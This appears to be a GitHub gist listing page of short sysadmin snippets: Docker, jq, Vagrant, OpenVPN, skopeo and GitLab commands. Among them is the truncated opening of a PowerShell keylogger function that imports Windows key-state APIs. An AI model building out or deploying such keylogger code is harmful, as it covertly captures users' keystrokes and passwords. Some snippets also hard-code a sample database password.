This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=Str0ngPa$$w0rd' -p 1433:1433 -d mcr.microsoft.com/mssql/server | |
sqlcmd -S localhost -U sa -P 'Str0ngPa$$w0rd' | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@sosbllxg08 # lspci | grep -i broad | |
03:00.0 PCI bridge: Broadcom EPB PCI-Express to PCI-X Bridge (rev c3) | |
04:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5708S | |
Gigabit Ethernet (rev 12) | |
05:00.0 PCI bridge: Broadcom EPB PCI-Express to PCI-X Bridge (rev c3) | |
06:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5708S | |
Gigabit Ethernet (rev 12) | |
root@sosbllxg08 # lspci -vn -s 04:00.0 | |
04:00.0 0200: 14e4:16ac (rev 12) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[root@goll tmp]# vagrant box add centos65golll package.box | |
==> box: Adding box 'centos65golll' (v0) for provider: | |
box: Downloading: file:///root/tmp/package.box | |
==> box: Successfully added box 'centos65golll' (v0) for 'virtualbox'! | |
[root@goll tmp]# vagrant box list | |
centos65 (virtualbox, 0) | |
centos65golll (virtualbox, 0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
brew install coreutils | |
sudo ln -s /usr/local/bin/gtimeout /usr/local/bin/timeout |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jq -rn --arg x 'café' '$x|@uri' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Ubuntu Xexial Xerus 16.04 | |
wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-Ubuntu16.amd_64.deb | |
passwd passwd openvpn | |
Admin UI: https://publicIPaddress:943/admin | |
Client UI: https://publicIPaddress:943/ | |
go to Server Network Settings -> Hostname or IP Address: | |
change it from private IP to public IP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo '{"foo": 0}' > foo.json | |
jq @json < foo.json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
skopeo copy docker://nginx:1.16 docker://harbor.example.com/jay-test/nginx:1.16 | |
skopeo copy docker://harbor.example.com/jay-test/nginx:1.25.3-alpine docker://registry.gitlab.com/dasgoll/myrepo/nginx:1.25 | |
skopeo copy docker://651234438355.dkr.ecr.eu-central-1.amazonaws.com/keycloak:21.1210-1223 docker://61234392635.dkr.ecr.me-south-1.amazonaws.com/keycloak:21.1210-1223 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#requires -Version 2 | |
function Start-KeyLogger($Path="$env:temp\keylogger.txt") | |
{ | |
# Signatures for API Calls | |
$signatures = @' | |
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] | |
public static extern short GetAsyncKeyState(int virtualKeyCode); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] | |
public static extern int GetKeyboardState(byte[] keystate); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export GITLAB_HOME=~/gitlab | |
mkdir $GITLAB_HOME | |
docker run --detach \ | |
--hostname gitlab.local.gd \ | |
--publish 8080:80 \ | |
--name gitlab \ | |
--restart always \ |
NewerOlder